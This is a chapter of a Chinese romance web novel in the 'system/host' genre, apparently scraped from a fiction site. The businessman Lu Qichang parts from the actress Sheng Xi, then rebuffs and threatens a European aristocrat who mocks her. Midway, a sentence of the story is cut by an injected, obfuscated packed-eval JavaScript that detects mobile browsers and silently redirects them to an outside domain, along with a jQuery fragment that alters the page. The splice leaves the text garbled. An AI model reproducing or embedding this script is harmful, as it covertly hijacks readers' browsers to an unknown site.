“……”
何修不知道盛蹊听到这句话的第一反应是什么,反正他透过后视镜看到盛蹊的身影完全被陆总所笼罩的时候在想,其实盛蹊的顺从也可以说是别无选择。
都在说她是可以选择的,但是她在这个圈子里没有得到任何人的帮助,所看到的只是漠视,是欺瞒,是落井下石的时候,确实没有这样一个人。
人人都说陆其昌选择她之后给予她的会是砒霜,可是谁愿意放弃唾手可得而且唯一摆在她面前的这块蜜糖呢。这个世界没有人像陆其昌这样,既有权力,又有等待拉起扶稳她这样的耐心,循循善诱地让她到他身边来。
他们都只希望她一个人站在泥潭里听凭他们欺负然后死去。可她又不是没有人选择的人。
如果其他人都不会想让她走出去,那她选择会想让她走到自己身边来的人有什么不对。反正事情都已经是这样了。
也就如盛蹊所说,这本来就是一场豪赌而已。
深秋的夜还有些冷,陆其昌必须得回去了,盛蹊披着外套坐在车里,背对着车窗玻璃,雾蒙蒙的,她垂着眸,听到祝游喊她,盛蹊回过头。
陆其昌就在她身后,懒懒地靠在座椅上,手指还在有意无意地拨弄着她手腕上垂落下来的链子,盛蹊就这样起身,连她要走了都忘记和陆其昌说一句,而陆其昌在她要关上车门的时候忽然探身从车里伸出手来,牢牢握住她的手腕。
盛蹊就这样被拽住,半仓促半预料到半回过身,男人没有看她,大手反而在她那串闪烁着金属光泽的手链上摩挲,语气柔柔的,简直像是诱哄:“在片场的时候,不要想那么多。”
他要让本体到他身边来,本体肯定会听到很多风言风语,这一切他虽然早有准备,却不欲阻拦。舆论的发生是她被他绑到他身边后必然的,他不想要她毫无知觉。
他要盛蹊,要自己一直清清楚楚地知道,她到底走在一条什么样的路上,残酷并不光鲜,比自以为清楚却被人蒙蔽得好。
他说:“我会一直看着你的。”
像一尊一直祝福着你的守护神一样。这就是陆其昌的誓言。
盛蹊对陆其昌马甲本来也就是这个设定,但盛蹊还是回头看了他一眼。天要晚了,雾气更明显了。
盛蹊忽然对陆其昌笑了一下,没有任何战战兢兢或者勉为其难的神色,祝游来接盛蹊都被惊艳了一下,感觉她像开在寒潭里的花。
然后这朵花转瞬即逝似的轻巧转过身去,裙摆划过露水沾湿的地面,何修发誓他转过头的时候发现陆总就这样默不作声地盯着她的背影看了。
那眼神绝不是他常对人有的那种轻蔑式的,也不是他在盛小姐面前会表露出来的戏谑和漫不经心般,反而像是头一天认识她一般——何修早发现陆总有时会用那种觉得眼前的盛蹊很新鲜似的,打量端详,甚至是琢磨的眼神细看。但他那个时候以为陆总只是太稀奇了,欣赏盛蹊的行事因为他的庇护变成不一样的风格。
但他现在才发现,这样的端详竟然也算是爱的一种,嗑那个宋寅和盛老师的CP粉不是常说吗,其实好好地看她,理解她,就已经是喜欢的一种形式。
那他猜,陆总这么默不作声地观赏着一只挣脱出泥潭的蝴蝶,并不是因为他觉得自己的拯救是天降神明似的,不是因为他在欣赏得意自己的杰作,而是他在不自觉地关注着她,而完全不知道,这种灵魂的注视,已经是全情投入的状态。
何修这么想着都没有出声,以至于盛老师进入配音棚的大楼,陆总才慢慢撤回视线的时候,陆总肩上的西装布料都微湿了,但他仍然不咸不淡地,好像目送她,凝视她只是他日常里不值得提到的一件事。
但很快就有人来帮陆总提醒他,他对盛蹊的关注是多么不同寻常了。
事情是这样的,陆总在国外有一位旧友,姑且说是旧友吧,因为这位艾弗森先生在天光出现的时候何修都没有认出他,他只是在看见他以挑剔而不可思议的目光打量着这整个办公室,仿佛在吃惊和怀疑他要见的人怎么会选择这么落魄的公司办公的时候,立刻怀疑这是和那位埃尔文先生有关的人来了。
因为陆总的财力或者说实力在国内遭人质疑的时候,是有人向那位风投老总求证了,陆总的大名才真正如雷贯耳,而陆总既然在国内这么大动作,国外自然也有所耳闻:之前对陆总行事风格有所了解的,自然也会想来国内看看了。
而且这位先生在以傲慢和不出人意料的骄矜态度介绍自己的时候也说,他是来国内旅游的,所以才顺便来看看,好友在国内的居所。
虽然他漂亮的绿眼睛在说这话时,很快表现出了一种刻意的虔诚和友好,但何修还是看出他亲切微笑下的虚伪,因而也报以毫无真诚的微笑。
怎么说呢,这些资本家的傲慢个性他算是领教透了,而且受盛蹊影响,对陆总的短暂滤镜也碎了一地。他怎么忘了,陆总虽然不是那种会和不可一世的纨绔子弟一样随意游戏的人,可也和那些挑剔吝啬的吸血鬼有来往啊。
他怎么也算不上是一个好人了。
这位名叫艾弗森的欧洲贵族理所当然地走进了陆其昌的办公室,直接推门而没有敲门,然后在看到,听到了他声音,却没有报以暴怒和轻蔑,只是冷淡瞥他一眼的陆其昌时立刻恍然大悟,亲切友好地上前和他握手,甚至彬彬有礼地单手背后鞠了个躬:
“希望您还记得我……”
他的中文腔调很怪异,不过何修看到他们陆总的反应是冷冷一笑,甚至毫不客气地反问:“你谁?”
【……】系统的沉默无言并没有影响陆其昌的状态,因为他的人设就是一个目中无人的人,况且和她马甲一样目中无人的人实在少见,他想就算是真正的陆其昌也会对这样的人报以轻蔑一笑的。
艾弗森并没有影响陆其昌的自我人设营造,相反,他极其夸张,当然也是极其刻薄地阴阳怪气说:“陆总是个大忙人,当然不记得我了,不过就算是我,在进门之前也不记得陆总是谁了。”
他笑眯眯地说,然而系统却在心里补充也有可能是真的不记得。
陆其昌并没有给他这个面子,事实上,陆其昌的反应极其符合艾弗森对于这个“素未谋面的老友”的想象,他冷冷一笑,甚至说的不是让何修送客,而是:“把他给我赶出去。”
艾弗森的脸色终于变了,他终于站直起来,变得文质彬彬也不那么神经质了,不过语气还是很讨人厌:“陆总,多年不见,还是这么大脾气啊,怪不得换了个地方高就。”他本来是想讽刺天光就这么个小破公司。
没想到陆其昌冷笑:“我在哪高就,也不关你事,至于我,也不是你想见到就能见到的。”他像是心情一下就变得不好了,语气恶劣起来,眼神冰冷,表情阴森:“赶紧滚。”
艾弗森并不生气——何修算是看出来了,疯子的朋友也都是一阵一阵儿的,这个艾弗森先生,就和没被盛老师安抚好时的陆总一模一样,莫名其妙地颠,又有一种与生俱来的高傲。
他打量他几眼,好像很稀奇似的:“我听埃尔文说你突然对国内的市场有了兴趣,还不信,现在看来你果然是回国发财来了,别那么大火气哈哈哈哈,至少也要对一起投资的朋友有点耐心吧。”
他这会儿像个正常人了,何修反倒搞不清楚他们的关系了,什么情况,这位艾弗森到底和他们陆总认不认识?
果然陆其昌不咸不淡,甚至是也颇为挑剔地看他一眼,那意思依旧是,你谁?
艾弗森礼貌鞠躬:“介绍一下,我是卢登爵位的继承人,埃尔文这两年最新的合伙人,在他身边的时候我就常听他介绍你。”
陆其昌表情冷淡。这绝不可能,只是可信度偏向已经夸张到深入这些真正权贵的脑子里而已。不过这也正常,真正凌驾于他人之上的人多半想象不出来一个同类疯狂的样子,也很容易对那些妄想阶级跃升伪装成富人的穷人产生怀疑。
系统突然意识到,宿主对于埃尔文的应付太熟练了点,以至于最难过的那关在一开始就早早过了。有埃尔文保证,这些人就算没见过陆其昌,也会自动脑补他太高傲,对他们不屑一顾或是和他们有仇,所以在国外时,他们没见过。
而真正骄傲的人都是很难低调的,所以陆其昌在国内搞了这么多动作,很容易就把艾弗森吸引来了,他们看不到的地方,艾弗森的排场更大,只是他还想来看这知名的陆的笑话,轻装简行而已。
现在看到,不得不说,资产先不论如何,这种傲慢骄矜不把人放在眼里的个性,确实和他们这帮人没什么不同。所以艾弗森理所当然地笑着想,他们是同类啊。
看来这趟旅行会有意思了。
“亲爱的陆,看到你只能屈居在这里真让我感到难过,不过我是客人,不应该不介意邀请我去吃顿好点的午餐吧?”何修立刻开始开动脑子思考这里哪有什么好吃的,但他们陆总已经厌烦地说:“滚。”
他甚至懒得说那些外交辞令,因为在他眼里艾弗森可能还不够这个资格,虽然这个圈子里,他的实力如果不允许,他也没可能这么认为就是了,艾弗森的轻狂收敛点,故作疑惑:“那么,既没有好酒高楼,也没有什么有利可图的地方,你抛弃我们千里迢迢来这里的原因是?”
已经到午饭时间了,陆总已然起身,但脸还是冰冷的,一边往外走一边说:“别把我说得和你们那么恶心。”
艾弗森耸肩,他们这个圈子尖酸刻薄好像是传统,以至于他们都习惯了谁都如此mean了,他继续说:“我还听说你回来这是看中了一个小明星……”
艾弗森在一般人中算高的,可是陆其昌突然停下来之后,他猝不及防撞上一下还来不及举起双手,整个人脖颈领子就被陆其昌揪住。
何修近距离看着,他们陆总并没有动怒,只是简单地伸出大掌,靠着身高肩宽的优势,轻而易举地就钳制和笼罩住这个傲慢的外国人。他棕黑色的深邃瞳孔显得冰冷残忍。
陆其昌嗤笑:“别拿我寻玩笑。”他把语速放慢,渐渐的整个办公室都像感知到什么安静下来,落针可闻:“我劝对她说话时,你也最好是如此。”
他一直用的中文,但不知道为什么艾弗森就是第一时间反应过来这个ta,就是女字旁的她,也就是那个绯闻里传得沸沸扬扬被陆其昌护得很紧的女明星。他真的大为困惑。
有些人就是这样,为了八卦他甚至可以放弃紧张。艾弗森整个人都像被陆其昌拎住,仍然靠近问:“你真的是为了她……嗷嗷,help!”
他开始开骂:“陆你实在是太粗鲁了,我们只是感到有趣!”
这句话显然激怒了陆其昌,不知道开动了他身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413576|179557||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上什么机关,他脸上某块肌肉抽动了一下,他反而低头,不怒反笑:“你再说一遍?”
艾弗森终于感到恐惧了,站直然后老老实实,甚至中文腔调都正常了:“我的意思是说对你的事感兴趣,不是她!”
陆其昌像扔垃圾似的嫌弃地甩掉他,艾弗森才退后几步,嘟囔说:“你都这么疯狂了……”他用的是ultrasupercrazy。意思也很明显,谁敢打盛蹊的主意呢。陆其昌冷笑一声。
只是理好衣领他又说:“holdonholdon,我怎么不知道这群混蛋把我引来的时候忽略了这么重要的消息,就你这么混蛋的人。”
说到混蛋的时候艾弗森表情扭曲了一下,显然就算习惯这个圈子里动不动就居高临下的毛病,也还是觉得陆其昌的癫狂有点太超过了:“真的会有一天把这种事放心上?”
他说到最后几个字的时候声音微扬,而一直在靠自己勉强的英语听力听八卦的同事们也竖起耳朵。
陆其昌眯眼睛,艾弗森背后一寒:“好好好,这次真的不说了。”
陆其昌又用一种柔和的语调说:“我不管这次叫你来试探的人背后是谁。我的脾气,你们了解,所以,最好别触犯到我的底线。”
艾弗森牙酸了一下。也怪他实在是太张狂了,圈子里从来不把谁谁谁捧了一个明星当回事,但是放在陆其昌身上:他们难道以为他对陆其昌感兴趣仅仅是因为他有钱而且开了个娱乐公司而已吗!
这人除了傲慢不识好歹以外就是一个吝啬自大一毛不拔的神经病,可他居然也有栽在一个平民身上的一天!
这让他们怎么不惊讶,要不是陆其昌对外行事作风依然嚣张,他们都怀疑他是要借着这个可怜的明星拉票做人设了。
可是,他又没有改变以往那种态度……
艾弗森胡思乱想,终于到电梯到一层时发出那种夸张的,好像才肯相信一下的声音:“陆,不会吧,你真的被人下蛊了?”
陆其昌盯着数字,何修能感觉到老板现在极其烦躁,身上寒气直冒,但是不知道这位艾弗森身上有什么,就算他一如既往地聒噪,陆总还是忍了他,然后到了车上的时候,艾弗森夸张地询问是不是要给他车费时,陆其昌轻描淡写地表明用意:
“听说你家里有一家发行公司。”跨国,市场占有率极高,系统刚查的。
艾弗森讶异地看着他,然后老老实实说:“现在我相信你是被人下蛊了。”
陆其昌耐心是有限的,他烦躁地敲敲车门:“到底有没有意愿合作,给个准话。”
艾弗森罕见地犹豫了一下,说实话和陆其昌合作他是很愿意的,白手起家的人鲜少有他这么大方和可靠的,做陆其昌的敌人可能很惨,但做他的合作对象一定不亏,这都是他从埃尔文那打听来的经验,不过正因为如此,他对那个拒绝了陆其昌五年的人更感好奇了。
他把公司高管联系方式给了何修,尽管这么不会掩藏情绪的人看起来根本不可能像是这个陆的秘书,但他还是给了,然后问:“她真的一点都没有答应你?”
“……”陆其昌微笑,面带阴冷地纠正:“现在答应了。”
“……”艾弗森盯他一会儿,然后反应是大笑。正如埃尔文所说,调侃陆其昌可能没什么问题,调侃他看中的人,可能真得掂量一下陆其昌心情怎样,不然这匹狼可是会狠狠咬你一口的。
大笑不够他还鼓掌,动作充满了那种刻薄贵族的轻佻:“哦哦,我懂了陆,你的痴心真是万年不改,我想那位可爱的小姐做了一个正确的选择。”
陆其昌也同样用微笑回应他:“我想你应该还没有耳聋。”再用那么恶心的腔调描述她,他真的会撕了他的嘴。
“……”艾弗森:“这只是一种社交辞令。”
吃饭的地方到了,这里并没有很名贵和灯红酒绿的地方,但是陆其昌的座驾到了,这就是艾弗森今晚被宴请的地方了——陆其昌起身,从车上下来,半个身子探出去的压迫感丝毫不减。
他冷冷地盯着艾弗森,脸上连那种虚伪的客套都没有了,他只以一种有绝对主控权和实际没把艾弗森放在眼里的傲慢说——艾弗森甚至有种错觉,陆其昌一再向他强调不要对盛蹊如何,甚至不是因为陆其昌觉得他能把她如何,而是对现在的盛蹊来说,艾弗森确实很难对付而已。
即使在他的庇护之下,她也依然是被他看成是脆弱的,不能有一点错误发生的——
“你凭什么觉得,她会是你们社交圈的人?”
“……”不是盛蹊够不上,是他们够不上而已。陆其昌的眼神真的让艾弗森觉得,他从一开始,就没准备让他们这些不够格的人,进入他为她精心准备的世界里。
这个世界,盛蹊才是唯一的主角。
艾弗森回去夸张地和自己的好友传话:“我发誓,他绝对是疯了,他一定是被那个女人篡夺了心智,才会大言不惭地觉得,我们才是应该被筛选出来的人。”
他的姐姐艾米莉诚恳说:“你对那个疯子有什么误解?如果他一开始就只是玩玩的话,他就不至于把他被盛蹊拒绝了五年的事让全世界知道了。”
这种丢脸的事一再宣扬,也从别的方面变相说明了,陆其昌其实根本不在意那些拒绝,他最最在乎的,是盛蹊最终还是选择了他,仅此而已。